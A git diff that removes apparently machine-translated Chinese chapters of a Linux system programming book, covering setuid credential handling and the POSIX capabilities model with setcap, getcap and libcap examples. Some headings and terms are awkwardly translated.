-`uidswap.c`:`permanently_drop_suid():` - -```sh -void permanently_drop_suid(uid_t uid) -[...] -debug("permanently_drop_suid: %u", (u_int)uid); -if (setresuid(uid, uid, uid) < 0) - fatal("setresuid %u: %.100s", (u_int)uid, strerror(errno)); - -[...] - -/* Verify UID drop was successful */ - if (getuid() != uid || geteuid() != uid) { - fatal("%s: euid incorrect uid:%u euid:%u (should be %u)", - __func__, (u_int)getuid(), (u_int)geteuid(), (u_int)uid); -} -``` - -有趣的是,注意到为确保 UID 删除成功所做的努力-下一步将详细介绍这一点! - -在 sudo(8)上执行`strace(1)`(请注意,我们必须以根用户身份跟踪它,因为尝试以普通用户身份串接 setuid 程序不起作用,因为在跟踪时,setuid 位被故意忽略;以下输出来自 Ubuntu Linux 系统): - -```sh -$ id mail uid=8(mail) gid=8(mail) groups=8(mail) $ sudo strace -e trace=setuid,setreuid,setresuid sudo -u mail id -[...] -setresuid(-1, 0, -1) = 0 -setresuid(-1, -1, -1) = 0 -setresuid(-1, 8, -1) = 0 -setresuid(-1, 0, -1) = 0 -[...] -``` - -显然,sudo 使用`setresuid(2)`系统调用来根据需要设置权限和凭证(在前面的示例中,进程 EUID 被设置为邮件用户的进程,Ruid 和 saved-set-id 保持不变)。 - -# 重要安全注意事项 - -以下是关于安全方面需要牢记的几个关键点: - -* 如果设计不佳,使用 setuid 二进制文件会带来安全风险。 尤其是对于 setuid-root 程序,应该对它们进行设计和测试,以确保当进程处于提升的特权状态时,它永远不会产生 shell 或盲目接受用户命令(然后在内部执行)。 -* 您必须检查任何`set*id()`系统调用`(setuid(2)`、`seteuid(2)`、`setreuid(2)`、`setresuid(2)`的故障情况。 - -请考虑以下伪代码: - -```sh -run setuid-root program; EUID = 0 - do required work as root -switch to 'normal' privileges: setuid(getuid()) - do remaining work as non-root - [...] -``` - -想想看:如果前面的`setuid(getuid())`调用失败了(不管是什么原因),我们没有检查怎么办? 剩余的工作将继续以 root 访问方式运行,很可能会招致灾难! (有关仔细检查的真实示例,请参阅 OpenSSH 可移植的.Git repo 中的示例代码。)。 我们来看一下以下几点: - -* `setuid(2)`系统调用在某种意义上是有缺陷的:如果实际的 UID 是 root,那么保存的设置的 UID 也是 root;因此,您不能删除权限! 显然,这对于 setuid-root 应用等可能是危险的。 或者,使用`setreuid(2)`API 让根进程临时删除权限,稍后再重新获得权限(通过交换它们的 RUID 和 EUID 值)。 -* 即使您拥有系统管理员(Root)访问权限,也不应该以 root 用户身份登录! 您可能(相当容易)被骗以 root 身份运行危险的程序(黑客通常使用此技术将 rootkit 安装到系统上;一旦成功,您的系统就会受到威胁)。 -* 当进程创建共享对象(比如文件)时,谁将拥有它,组是什么? 换句话说,内核将在文件的 inode 元数据结构中为 UID 和 GID 设置什么值? 答案是这样的:文件 UID 将是创建者进程的 EUID,文件 GID(组成员)将是创建者进程的 EGID。 这将对权限产生后续影响。 - -We recommend that you, the reader, definitely read [Chapter 9](09.html), *Process Execution*, as well! In it, we show how the traditional permissions model is flawed in many respects, and why and how you should use the superior Linux Capabilities model. - -# 简略的 / 概括的 / 简易判罪的 / 简易的 - -在本章中,读者已经领略了许多关于传统 Unix 安全模型的设计和实现的重要思想。 除此之外,我们还介绍了传统的 Unix 权限模型、进程真实和有效 ID 的概念、查询和设置它们的 API、`sudo(8)`、保存集 ID。 - -再次重申:我们绝对建议您也阅读以下[第 8 章](08.html),*过程能力*! 在这篇文章中,我们展示了传统的权限模型是如何存在缺陷的,以及您应该如何使用卓越的、现代的 Linux 功能模型。 \ No newline at end of file diff --git a/docs/handson-sys-prog-linux/08.md b/docs/handson-sys-prog-linux/08.md deleted file mode 100644 index 76abebff..00000000 --- a/docs/handson-sys-prog-linux/08.md +++ /dev/null @@ -1,695 +0,0 @@ -# 八、进程功能 - -在两章中,您将学习有关进程凭证和功能的概念和实践。 除了对 Linux 中的应用开发具有实际重要性之外,本章还从本质上更深入地探讨了一个经常被忽视但极其重要的方面:安全性。 - -我们将这一关键领域的内容分为两大部分,每一部分都是本书的一个章节: - -* 在[第 7 章](07.html),*处理凭证中,*详细讨论了传统风格的 Unix 权限模型,并展示了以 root 权限运行程序但不需要 root 密码的技术。 -* 在本[章](08.html),*进程功能,**现代*方法,POSIX 功能模型中,进行了更详细的讨论。 - -我们将试图清楚地向读者展示,尽管了解传统机制及其工作方式很重要,但就*安全性*而言,这是一个典型的薄弱环节。 无论你怎么看,安全都是最重要的,尤其是在这些天;Linux 在各种设备上运行的出现-从微型物联网和嵌入式设备到移动设备、台式机、服务器和超级计算平台-使安全成为所有利益相关者的关键关注点。 因此,在开发软件时应该使用现代功能方法。 - -在本章中,我们将更详细地介绍*现代方法-*POSIX 功能模型。 我们将讨论它到底是什么,以及它如何提供安全性和健壮性。 读者将了解以下内容: - -* 现代 POSIX 功能模型到底是什么 -* 为什么它优于较旧的(传统)Unix 权限模型 -* 如何在 Linux 上使用功能 -* 将功能嵌入到进程或二进制可执行文件中 -* 安全提示 - -在此过程中,我们将使用代码示例,这将允许您尝试其中的一些功能,以便您可以更好地了解它们。 - -# 现代 POSIX 功能模型 - -考虑这个(虚构的)场景:Vidya 正在为 Alan 和他的团队开发一个 Linux 应用。 她正在开发一个组件,该组件可以捕获网络数据包并将其保存到一个文件中(供以后分析)。 该程序名为**PackCap**。 但是,要成功捕获网络数据包,Packcap 必须以*root*权限运行。 现在,Vidya 明白以用户*根*身份运行应用不是一个好的安全实践;不仅如此,她知道客户不会接受这样的说法:哦,它不起作用吗? 您必须以 root 身份或通过 sudo 运行它。 通过 sudo(8)运行它听起来可能是合理的,但是,当您停下来思考时,这意味着 Alan 团队的每个成员都必须获得*root*密码,这简直是不可接受的。 - -那么,她是如何解决这个问题的呢? 她突然想到了答案:使*Packcap*二进制可执行文件成为*setuid-*根文件;这样,当它启动时,进程将以*root*权限运行,因此不需要 root 登录/密码或 sudo。 听起来棒极了。 - -# 动力 / 诱因 / 积极性 / 干劲 - -这就是 setuid-root 方法*,这正是解决上面简要描述的问题的传统方式。 那么,今天发生了什么变化(好吧,几年过去了)? 简而言之:*对黑客的安全担忧*。 现实是这样的:所有现实世界中不平凡的程序都有缺陷(Bug)--隐藏的、潜伏的、未被发现的,也许,但非常多。 现代现实世界软件项目的巨大范围和复杂性使这成为一个不幸的现实。 某些错误会导致*漏洞*“泄漏”到软件产品中;这正是黑客希望利用*漏洞*的原因。 众所周知但令人畏惧的**缓冲区溢出***(***BoF***)*攻击是基于几个频繁使用的库 API 中的软件漏洞! (我们强烈推荐阅读 David Wheeler 的书*Secure Programming**How to-Creating Secure Software-*有关 GitHub 存储库的*进一步阅读*部分。)* - -***At the code level, security issues are bugs; once fixed, the issue disappears.** (See a link to Linux's comments on this in the *Further reading* section on the GitHub repository.) - -那有什么意义呢? 简单地说,问题是:您交付给客户的 setuid-root 程序(PackCap)中完全有可能嵌入了不幸的、到目前为止未知的软件漏洞,黑客可能会发现并利用这些漏洞(是的,有完整的工作描述-**白帽黑客**或**五次测试。** ) - -如果入侵的进程*以正常权限(非超级用户)运行,则损害至少限于该用户帐户,并且不会进一步破坏。 但是,如果进程以超级用户权限运行,并且攻击成功,黑客很可能最终在系统上获得*根外壳*。 系统现在被攻破了--任何事情都可能发生(机密可能被窃取,后门和 rootkit 被安装,DoS 攻击变得微不足道。)* - -不过,这不仅仅是安全问题:通过限制特权,您还可以获得损害控制方面的好处;错误和崩溃将造成有限的损害-*包含*的情况比以前要好得多。 - -# POSIX 功能 - -那么,回到我们虚构的 Packcap 示例应用,我们如何在没有 root 权限(不允许 root 登录、setuid-root*、*或 sudo(8))的情况下运行进程(看起来需要 root 权限),并让它正确执行任务? - -进入 POSIX 功能模型:在此模型中,不是以 root(或其他)用户身份授予进程*一揽子访问权限*,而是有一种方法可以*将特定功能同时嵌入到进程和/或二进制文件中。* Linux 内核很早就支持 POSIX 功能模型-2.2 版 Linux 内核(在撰写本文时,我们现在属于 4.x 内核系列)。 从实用的角度来看,从 Linux 内核版本 2.6.24(2008 年 1 月发布)开始,我们描述的特性就可以使用了。 - -简而言之,它是这样工作的:每个进程--实际上是每个*线程--*作为其操作系统元数据的一部分,都包含一个位掩码。 这些被称为*能力位*或*能力集*,因为*每个**位代表一个能力***。** 通过仔细设置和清除位,内核(以及用户空间,如果它有能力)因此可以在每个线程的基础上设置*细粒度权限*(我们将在后面的[第 14 章](14.html),*使用 PThreadsPart I-Essentials*详细介绍多线程),目前,将术语*线程*视为可与*进程*互换 - -More realistically, and as we shall see next, the kernel maintains *several capability sets (capsets) per thread alive*; each capset consists of an array of two 32-bit unsigned values. - -例如,有一个名为`CAP_DAC_OVERRIDE`**的能力位;**它通常会被清除(0)。 如果设置,则该进程将绕过内核的所有文件权限检查-任何检查:读取、写入和执行! (这称为**DAC**:**自主访问控制。** ) - -现在再看几个功能位的示例会很有用(完整的列表可以在*手册页*上找到,此处是*功能(7)*:[https://linux.die.net/man/7/capabilities](https://linux.die.net/man/7/capabilities))。 下面是一些代码片段: - -```sh -[...] -CAP_CHOWN - Make arbitrary changes to file UIDs and GIDs (see chown(2)). - -CAP_DAC_OVERRIDE - Bypass file read, write, and execute permission checks. (DAC is an abbreviation of "discretionary access control".) -[...] - -CAP_NET_ADMIN - Perform various network-related operations: - * interface configuration; - * administration of IP firewall, masquerading, and accounting; - * modify routing tables; -[...] - -CAP_NET_RAW - * Use RAW and PACKET sockets; - * bind to any address for transparent proxying. -[...] - -CAP_SETUID - * Make arbitrary manipulations of process UIDs (setuid(2), - setreuid(2), setresuid(2), setfsuid(2)); - -[...] - - CAP_SYS_ADMIN - Note: this capability is overloaded; see Notes to kernel - developers, below. - - * Perform a range of system administration operations - including: quotactl(2), mount(2), umount(2), swapon(2), - setdomainname(2); - * perform privileged syslog(2) operations (since Linux 2.6.37, - CAP_SYSLOG should be used to permit such operations); - * perform VM86_REQUEST_IRQ vm86(2) command; - * perform IPC_SET and IPC_RMID operations on arbitrary - System V IPC objects; - * override RLIMIT_NPROC resource limit; - * perform operations on trusted and security Extended - Attributes (see xattr(7)); - * use lookup_dcookie(2); -*<< a lot more follows >>* -[...] -``` - -*实际上,Capability 模型提供了细粒度的权限;这是一种将根用户(过于)巨大的权力分割成不同的可管理部分的方法。* - -因此,要理解我们虚构的 Packcap 示例上下文中的显著好处,请考虑以下内容:使用传统的 Unix 权限模型,发布二进制文件充其量是一个 setuid-root 二进制可执行文件;该进程将以 root 权限运行。 在最好的情况下,没有 bug,没有安全问题(或者,如果有,也没有被发现),一切都很顺利--幸运的是。 但是,我们不相信运气,对吧?“(用李查德的主人公杰克·里彻的话说,”抱最好的希望,做最坏的打算“)。 在最坏的情况下,代码中潜伏着可利用的漏洞,黑客会不知疲倦地工作,直到他们发现并利用这些漏洞。 整个系统都可能被破坏。 - -另一方面,使用现代 POSIX 功能模型,Packcap 二进制可执行文件*根本不需要 setuid*,更不用说 setuid-root 了;该进程将以正常权限运行。 这项工作仍然可以完成,因为我们为该工作(在本例中为网络数据包捕获)嵌入了*功能*,而绝对没有嵌入任何其他内容。 即使代码中潜伏着可利用的漏洞,黑客可能也不会有那么大的动力去发现和利用它们;原因很简单,因为即使他们确实设法获得了访问权限(例如,任意代码执行赏金),所有可以利用的都是运行进程的非特权用户的帐户。 这对黑客来说是令人泄气的(嗯,这是个笑话,但其中蕴含着根深蒂固的真相)。 - -Think about it: the Linux capabilities model is one way to implement a well-accepted security practice: *the* ***Principle of Least Privilege (PoLP):*** Each module in a product (or project) must have access only to the information and resources necessary for its legitimate work, and nothing more. - -# 能力-一些血淋淋的细节 - -Linux 功能是一个相当复杂的话题。 出于本书的目的,我们将深入探讨系统应用开发人员从讨论中获利所需的深度。 要获取完整的详细信息,请查看此处有关功能(7)的手册页:[http://man7.org/linux/man-pages/man7/capabilities.7.html](http://man7.org/linux/man-pages/man7/capabilities.7.html)以及此处有关凭证的内核文档:[https://github.com/torvalds/linux/blob/master/Documentation/security/credentials.rst](https://github.com/torvalds/linux/blob/master/Documentation/security/credentials.rst) - -# 操作系统支持 - -**能力位掩码**(**s**)通常被称为**能力集**-我们将该术语缩写为**capset**。 - -要使用 POSIX 功能模型的强大功能,首先,操作系统本身必须为其提供“生命支持”;完全支持意味着以下几点: - -* 每当进程或线程尝试执行某些操作时,内核都能够检查是否允许该线程执行此操作(通过检查线程的有效 Capset 中是否设置了适当的位-请参见下一节)。 -* 必须提供系统调用(通常还有包装库 API),以便线程可以查询和设置其 Capset。 -* Linux 内核文件系统代码必须具有这样一种功能,即可以将功能嵌入(或附加)到二进制可执行文件中(这样,当文件“运行”时,进程就会获得这些功能)。 - -现代的 Linux(尤其是内核版本 2.6.24 以后的版本)支持所有这三个版本,因此完全支持能力模型。 - -# 通过 procfs 查看进程功能 - -要了解更多细节,我们需要一种快速的方法来“查看”内核并检索信息;Linux 内核的**proc 文件系统**(通常缩写为**procfs**)就提供了这个特性(以及更多)。 - -Procfs is a pseudo-filesystem typically mounted on */proc*. Exploring procfs to learn more about Linux is a great idea; do check out some links in the *Further reading* section on the GitHub repository. - -这里,我们只关注手头的任务:为了了解细节,procfs 公开了一个名为`/proc/self`的目录(它指的是当前进程的上下文,有点类似于 OOP 中的*this*指针);在它下面,一个名为*status*的伪文件显示了有关相关进程(或线程)的有趣细节。 进程的 Capset 被视为“Cap*”,因此我们只对此模式进行 grep。 在下一段代码中,我们将在一个常规的非特权进程(*grep*本身通过*self*目录)以及一个特权(根)进程(*systemd/init PID 1*)上执行此操作,以查看不同之处: - -进程/线程上限:常规进程(如 grep): - -```sh -$ grep -i cap /proc/self/status -CapInh: 0000000000000000 -CapPrm: 0000000000000000 -CapEff: 0000000000000000 -CapBnd: 0000003fffffffff -CapAmb: 0000000000000000 -``` - -进程/线程上限:特权(根)进程(如 systemd/init pid 1): - -```sh -$ grep -i cap /proc/1/status -CapInh: 0000000000000000 -CapPrm: 0000003fffffffff -CapEff: 0000003fffffffff -CapBnd: 0000003fffffffff -CapAmb: 0000000000000000 -$ -``` - -在表格中列举的: - -| **线程能力集(Capset)** | **非特权任务的典型值** | **特权任务的典型值** | -| CapInh(继承) | `0x0000000000000000` | `0x0000000000000000` | -| CapPrm(允许) | `0x0000000000000000` | `0x0000003fffffffff` | -| CapEff(有效) | `0x0000000000000000` | `0x0000003fffffffff` | -| CapBnd(有界) | `0x0000003fffffffff` | `0x0000003fffffffff` | -| CapAmb(环境) | `0x0000000000000000` | `0x0000000000000000` | - -(此表描述了 x86_64 上的 Fedora 27/Ubuntu 17.10 Linux 的输出)。 - -一般而言,有两种类型的*功能集*: - -* 线程功能集 -* 文件功能集 - -# 线程功能集 - -在线程上限中,每个线程实际上有几种类型。 - -Linux 每**线程**功能集: - -* **允许的(PRM):**线程有效功能的总体限制*超集*。 如果一种能力被丢弃,它将永远无法重新获得。 -* **可继承(Inh):这里的**继承是指通过*exec*吸收 capset 属性。 当一个进程执行另一个进程时,Capset 会发生什么情况? (有关执行人员的详细信息将在后面的章节中介绍。 现在,只要说如果 bash 执行 vi,那么我们就称 bash 为前身,vi 为继任者)。 - 后续进程是否会继承前置进程的上限? 嗯,是的,是*可继承的上限*,也就是。 从上一表中,我们可以看到,对于非特权进程,继承的 Capset 全为零,这意味着在 EXEC 操作中没有继承任何功能。 因此,如果一个进程想要执行另一个进程,并且该(后续)进程必须以提升的权限运行,那么它应该使用环境功能。 -* **有效(EFF):**这些是内核在检查给定线程的权限时实际使用的功能。 -* **环境(Amb):**(从 Linux 4.3 开始)。 这些是 EXEC 操作中继承的功能。 位*必须在允许的和可继承的大写中都存在(设置为 1)-只有这样它才能是“环境”的。 换句话说,如果从 PRM 或 INH 中清除了能力,则也会在 AMB 中清除该能力。 - 如果执行*set[u|g]id*程序或具有*文件能力*的程序(如我们将看到的),则环境集将被清除。 通常,在执行时,环境上限被添加到 PRM 并分配给(后续进程的)EFF。* -* **绑定(BND):**此上限是一种*限制*在执行期间赋予进程的能力的方式。 它的效果是: - * 当进程执行另一个进程时,允许集是原始允许和有界的 Capset 的 AND:*prm=prm*和*bnd。* 这样,您可以限制后续进程的允许上限。 - * 只有当某个功能位于边界集中时,才能将其添加到可继承的 Capset 中。 - * 此外,从 Linux2.6.25 开始,功能绑定集是每个线程的属性。 - -除非满足以下任一条件,否则执行程序不会对 Capset 产生任何影响: - -* 后继者是 setuid-root 或 setgid 程序 -* 文件功能是在执行的二进制可执行文件上设置的 - -如何以编程方式查询和更改这些线程上限? 实际上,这正是*capget(2)*和*capset(2)*系统调用的用途。 但是,我们建议使用库级包装器 API*cap_get_proc(3)*和*cap_set_proc(3)*。 - -# 文件功能集 - -有时,我们需要能够将功能“嵌入”到二进制可执行文件中(有关原因的讨论将在下一节中介绍)。 这显然需要内核文件系统支持。 在早期的 Linux 中,该系统是内核可配置的选项;从 Linux 内核 2.6.33 开始,文件功能总是编译到内核中,因此总是存在的。 - -文件上限是一个强大的安全特性--您可以说它们是旧的*set[u|g]id*特性的现代等价物。 要首先使用它们,操作系统必须支持它们,并且进程(或线程)需要`CAP_FSETCAP`功能。 这里有一个关键点:在执行*exec*操作之后,(先前的)线程上限和(即将到来的)文件上限最终决定线程能力。 - -以下是 Linux 文件功能集: - -* 允许(PRM):自动允许的功能 -* 可继承(Inh) -* Effect(EFF):这是一个位:如果设置,则在 EFF 集中引发新的 PRM Capset;否则不会。 - -再说一次,请理解提供上述信息所依据的警告:这不是完整的细节。 要获取它们,请查看有关功能(7)的手册页:[https://linux.die.net/man/7/capabilities](https://linux.die.net/man/7/capabilities)*。* - -以下是此手册页中的屏幕截图片段,显示了在*exec*操作期间用于确定功能的算法: - -![](img/f94536e7-3ae1-470b-82bb-4a039d23102c.png) - -# 将功能嵌入到程序二进制文件中 - -我们知道,与老式的仅根或 setuid-root 方法相比,功能模型的细粒度是一个主要的安全优势。 因此,回到我们虚构的 Packcap 程序:我们希望使用*c*功能,而不是 setuid-root。 因此,让我们假设,在仔细研究可用功能之后,我们得出结论,我们希望在我们的程序中赋予以下功能: - -* `CAP_NET_ADMIN` -* `CAP_NET_RAW` - -查看有关凭证的手册页(7)会发现,第一个凭证使进程能够执行所有必需的网络管理请求;第二个使进程能够使用“原始”套接字。 - -但是,开发人员究竟如何将这些必需的功能嵌入到编译后的二进制可执行文件中呢? 啊,使用`getcap(8)`和`setcap(8)`实用程序很容易实现这一点。 显然,您可以使用`getcap(8)`查询给定文件的功能,使用`setcap (8)`*在给定文件上设置它们。* - -"If not already installed, please do install the getcap(8) and setcap(8) utilities on your system (the book's GitHub repo provides a list of madatory and optional software packages)" - -警惕的读者在这里会注意到一些可疑的事情:如果您能够任意设置二进制可执行文件的功能,那么安全性在哪里? (我们只需在文件/bin/bash 上设置`CAP_SYS_ADMIN`,它现在将作为根运行。)。 因此,实际情况是,只有在已经拥有`CAP_FSETCAP`功能的情况下才能在文件上设置功能;在手册中: - -```sh -CAP_SETFCAP (since Linux 2.6.24) - Set file capabilities. -``` - -实际上,实际上,您将因此以 root 身份通过 sudo(8)执行 setcap(8);这是因为在以 root 特权运行时,我们只获得 CAP_SETFCAP 功能。 - -因此,让我们来做个实验:我们构建一个简单的`hello world`程序(`ch8/hello_pause.c`);唯一的区别是:我们在`printf`之后调用`pause(2)`系统调用;`pause`有进程休眠(永远): - -```sh -int main(void) -{ - printf("Hello, Linux System Programming, World!\n"); - pause(); - exit(EXIT_SUCCESS); -} -``` - -然后,我们编写另一个 C 程序来*查询*任何给定进程的能力;`ch8/query_pcap.c`的代码: - -```sh -[...] -#include - -int main(int argc, char **argv) -{ - pid_t pid; - cap_t pcaps; - char *caps_text=NULL; - - if (argc < 2) { - fprintf(stderr, "Usage: %s PID\n" - " PID: process to query capabilities of\n" - , argv[0]); - exit(EXIT_FAILURE); - } - pid = atoi(argv[1]); - - [...] - pcaps = cap_get_pid(pid); - if (!pcaps) - FATAL("cap_get_pid failed; is process %d valid?\n", pid); - - caps_text = cap_to_text(pcaps, NULL); - if (!caps_text) - FATAL("caps_to_text failed\n", argv[1]); - - printf("\nProcess %6d : capabilities are: %s\n", pid, caps_text); - cap_free(caps_text); - exit (EXIT_SUCCESS); -} -``` - -这很简单:`cap_get_pid(3)`API 返回功能状态,实质上是目标进程的`capsets`。 唯一的麻烦是它是通过名为`cap_t`的内部数据类型表示的;要读取它,我们必须将其转换为人类可读的 ASCII 文本;您猜对了,就是`cap_to_text (3)`*。* API 正是具有这样的功能。 我们使用它并打印结果。 (嘿,注意我们在使用之后必须如何`cap_free(3)`计算变量;手册会告诉我们这一点。) - -其中几个与功能相关的 API(大致是`cap_*`)需要在系统上安装`libcap`库。 如果尚未安装,请使用包管理器进行安装(正确的包通常称为`libcap-dev[el*]`)。 显然,您必须链接到`libcap`库(我们在 Makefile 中使用`-lcap`来做到这一点)。 - -让我们试试看: - -```sh -$ ./query_pcap -Usage: ./query_pcap PID - PID: process to query capabilities of -$ ./query_pcap 1 -Process 1 : capabilities are: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep -$ -``` - -进程 PID 1,传统上是(SysV)*init,*,但是现在的`systemd`是以*root*权限运行的;因此,当我们使用程序查询其 Capset 时(实际上,我们会返回有效的 Capset),我们会得到相当长的能力列表! (不出所料。) - -接下来,我们在后台构建并运行`hello_pause`进程;然后查询其功能: - -```sh -$ make hello_pause -gcc -Wall -c -o hello_pause.o hello_pause.c -gcc -Wall -o hello_pause hello_pause.c common.o -$ ./hello_pause & -[1] 14303 -Hello, Linux System Programming, World! -$ ./query_pcap 14303 -Process 14303 : capabilities are: = -$ -``` - -我们的`hello_pause`进程当然没有特权,也没有任何嵌入其中的功能;因此,正如预期的那样,我们看到它没有*没有*功能。 - -现在是有趣的部分:首先,我们使用`setcap(8)`实用程序将功能嵌入到我们的`hello_pause`二进制可执行文件中: - -```sh -$ setcap cap_net_admin,cap_net_raw+ep ./hello_pause -unable to set CAP_SETFCAP effective capability: Operation not permitted -$ sudo setcap cap_net_admin,cap_net_raw+ep ./hello_pause -[sudo] password for : xxx -$ -``` - -这是有道理的:正如`root`(技术上,现在我们理解,有了`CAP_SYS_ADMIN`能力),我们当然有`CAP_SETFCAP`能力,因此成功地使用了`setcap(8)`。 在语法上,我们需要指定给`setcap(8)`一个功能列表,后跟一个操作列表;在此之前,我们已经指定了`cap_net_admin,cap_net_raw`功能,并将*添加到有效和允许的*作为操作列表(使用`+ep`语法)。 - -现在,我们重试我们的小实验: - -```sh -$ ./hello_pause & -[2] 14821 -Hello, Linux System Programming, World! -$ ./query_pcap 14821 -Process 14821 : capabilities are: = cap_net_admin,cap_net_raw+ep -$ -``` - -是!。 *新的*`hello_pause`进程确实具有我们希望它具有的功能。 - -What happens if both the traditional setuid-root *and* the modern (file) capabilities are embedded in a binary executable? Well, in that case, when run, *only the capabilities embedded into the file* take effect; the process would have an EUID of 0, but would *not* have full *root* capabilities. - -# 功能-哑巴二进制文件 - -不过,请注意:*上面的`hello_pause`个程序实际上没有*意识到它实际上拥有这些功能;换句话说,它在编程上没有执行任何操作来查询或设置 POSIX 功能。 然而,通过文件功能模型(和 setcap(8)实用程序),我们向其中“注入”了功能。 *这种类型的二进制因此被称为***能力-哑二进制***。* - -在安全性方面,它仍然比笨拙的 setuid-root 要好得多,但是如果应用本身--以编程方式--在运行时使用 API 来查询和设置功能,那么它可能会变得更“智能”。 我们可以把这类 APP 想象成一种**能力--智能二进制*****。*** - -通常,在移植遗留的 setuid-root(或者更糟,只是*root*)类型的应用时,开发人员会剥离它的 setuid-root 位,从二进制文件中删除*root*所有权,然后通过在其上运行 setcap(8)命令将其转换为*Capability-umb*二进制文件。 这是迈向更好的安全性(或“强化”)的良好第一步。 - -# Getcap 和类似的实用程序 - -`getcap(8)`实用程序可用于查找(二进制)*文件中嵌入的功能。* 作为一个快速示例,让我们在 shell 程序和 ping 实用程序上运行`getcap`: - -```sh -$ getcap /bin/bash -$ getcap /usr/bin/ping -/usr/bin/ping = cap_net_admin,cap_net_raw+p -$ -``` - -很明显,bash 没有任何文件上限--这正是我们所期望的。 而 ping 则是这样做的,这样它就可以在不需要 root 权限的情况下执行其职责。 - -通过 bash 脚本(类似于我们在上一章中看到的脚本)详细演示了`getcap`实用程序的用法:`ch8/show_caps.sh`*。* 运行它查看系统上安装的各种文件功能嵌入式程序(留作简单练习,供读者试用)。 - -与`getcap(8)`在某些方面相似的是`capsh(1)`实用程序-**功能外壳包装器**,尽管它是`getcap(8)`的超集;有关详细信息,请查看其手册页。 - -与我们编写的`query_pcap`程序类似的还有`getpcaps(1)`实用程序。 - -# Wireshark-一个恰当的例子 - -因此:我们在本主题开始时编造的故事并不完全是虚构的-好吧,它确实是虚构的,但它与现实世界有着惊人的相似之处:众所周知的*Wireshark*(以前称为以太)网络数据包嗅探器和协议分析器应用。 - -在旧版本中,Wireshark 通常作为`setuid-root`进程运行,以执行数据包捕获。 - -现代版本的 Wireshark 将数据包捕获分离到一个名为**dump pcap1 的程序中。** 虽然它不是作为 setuid-root 进程运行的,但它在运行时会嵌入所需的功能位,从而赋予它执行其工作所需的权限-数据包捕获。 - -因此,黑客现在对其执行成功攻击的潜在回报大大降低--黑客最多只能获得运行 Wireshark 和 Wireshark 组的用户的权限(EUID,EGID),而不是获得*root*;他不会获得 root! 我们使用*ls(1)*和*getcap(1)*如下所示: - -```sh -$ ls -l /bin/dumpcap --rwxr-x---. 1 root wireshark 107K Jan 19 19:45 /bin/dumpcap -$ getcap /bin/dumpcap -/bin/dumpcap = cap_net_admin,cap_net_raw+ep -$ -``` - -请注意,在上面的长清单中,Other(O)访问类别没有权限;只有 root 用户和 Wireshark 成员可以执行 DumpCap(1)。 (不要*而不是*将其作为根执行;这样会破坏整个要点:安全性)。 - -仅供参考,实际的数据包捕获代码位于名为`pcap—packet`Capture 的库中: - -```sh -# ldd /bin/dumpcap | grep pcap - libpcap.so.1 => /lib64/libpcap.so.1 (0x00007f9723c66000) -# -``` - -仅供参考:来自 RedHat 的安全建议详细说明了 Wireshark:[https://access.redhat.com/errata/RHSA-2012:0509](https://access.redhat.com/errata/RHSA-2012:0509)的安全问题。 下面的一段代码证明了一个重要的观点: - -... Several flaws were found in Wireshark. If Wireshark read a malformed packet off a network or opened a malicious dump file, it could crash or, possibly, **execute arbitrary code as the user running Wireshark**. (CVE-2011-1590, CVE-2011-4102, CVE-2012-1595) ... - -突出显示的文本是关键:即使黑客管理任意代码执行的壮举,它也将以运行 Wireshark 的用户的权限执行-而不是 root! - -The details on how exactly to set up W*ireshark* with POSIX capabilities is covered here (under the section entitled *GNU/Linux distributions*: [https://wiki.wireshark.org/CaptureSetup/CapturePrivileges](https://wiki.wireshark.org/CaptureSetup/CapturePrivileges) *.* - -现在应该很清楚了:**Dumpcap**是一个*Capability-Dumb*二进制文件;Wireshark 进程(或文件)本身没有任何特权。 安全是双赢的。 - -# 以编程方式设置功能 - -我们已经了解了如何构建*Capability-umb*二进制文件;现在让我们了解一下如何在运行时在程序本身中添加或删除进程(线程)功能。 - -当然,getcap 的另一面是 setcap-我们已经在命令行上使用过该实用程序。 现在让我们来看看相关的 API。 - -需要理解的是:要使用进程上限,我们需要内存中的所谓“功能状态”。 要获得此功能状态,我们使用`cap_get_proc(3)`API(当然,如前所述,所有这些 API 都来自`libcap`库,我们将链接到该库)。 一旦我们有了工作上下文,即功能状态,我们将使用`cap_set_flag(3)`API 来设置事务: - -```sh - #include - int cap_set_flag(cap_t cap_p, cap_flag_t flag, int ncap, - const cap_value_t *caps, cap_flag_value_t value); -``` - -第一个参数是我们从`cap_get_proc()`*接收到的能力状态;*第二个参数是我们希望影响的能力集-有效、允许或继承之一。 第三个参数是我们使用这一个 API 调用操作的功能数量。 第四个参数--这是我们确定希望添加或删除的功能的位置,但是如何确定呢? 我们传递一个指向`cap_value_t`元素的*数组*的指针。 当然,我们必须初始化数组;每个元素都有一个功能。 最后,第五个参数`value`可以是两个值之一:`CAP_SET`到*设置*能力,`CAP_CLEAR`到*丢弃*它。 - -到目前为止,所有工作都是在内存上下文中进行的-能力状态变量;它并没有真正对进程(或线程)Capset 生效。 要在进程上实际设置上限,我们使用*cap_set_proc(3)*API: - -`int cap_set_proc(cap_t cap_p);` - -它的参数是我们仔细设置的功能状态变量。 *现在*将设置功能。 - -还要认识到,除非我们以*root*身份运行它(当然我们不会这样做--这才是真正的重点),否则我们不能仅仅提高我们的能力。 因此,在`Makefile`本身内,一旦构建了程序二进制文件,我们就对二进制可执行文件本身(`set_pcap`)执行`sudo setcap`以增强其功能;我们将`CAP_SETUID`和`CAP_SYS_ADMIN`功能位赋予其允许和有效的上限。 - -下一个程序简要演示了进程如何添加或删除功能(当然,*在*它允许的上限内)。 当使用选项 1 运行时,它添加了`CAP_SETUID`功能,并通过一个简单的测试函数(`test_setuid()`)“证明”它。 这里有一个有趣的地方:由于二进制*文件*中已经嵌入了两个功能(我们在`Makefile),`中执行了`setcap(8)`操作,我们实际上需要*删除*`CAP_SYS_ADMIN`功能(从其有效集合中)。 - -当使用选项 2 运行时,我们需要两个功能-`CAP_SETUID`和`CAP_SYS_ADMIN`;它可以工作,因为它们嵌入到有效和允许的上限中。 - 